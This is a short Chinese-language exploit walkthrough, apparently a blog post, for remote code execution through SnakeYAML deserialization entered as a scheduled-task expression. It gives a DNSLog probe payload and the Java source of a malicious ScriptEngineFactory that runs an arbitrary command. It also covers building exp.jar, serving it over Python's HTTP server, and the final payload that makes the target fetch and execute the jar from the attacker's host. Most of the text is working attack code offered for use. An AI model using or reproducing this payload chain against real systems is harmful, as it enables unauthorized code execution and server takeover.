DNS回弹
创建一个定时任务,如下
1
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://DNSLOG的地址"]]]]')
|
如果dnslog有回显的话,就可以继续之后的步骤了
编译jar
需要注意的是,编译jar时的jdk环境必须和目标的jdk环境一致!!
先下载下面的项目
https://github.com/artsploit/yaml-payload
进入/src/artsploit/AwesomeScriptEngineFactory.java
中修改自己需要执行的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package artsploit;
import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("命令"); } catch (IOException e) { e.printStackTrace(); } }
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; } }
|
然后使用javac,将这个java类编译成class
最后使用jar将整个项目编译成一个exp.jar文件
1
| jar -cvf exp.jar -C /src/ .
|
Web服务
使用python3开启http服务,需要在exp.jar的文件夹下执行
1
| python -m http.server --cgi 端口
|
定时任务执行命令
1
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://你的服务器地址:端口/exp.jar"]]]]')
|
参考
https://www.cnblogs.com/nice0e3/p/14514882.html#%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
https://github.com/artsploit/yaml-payload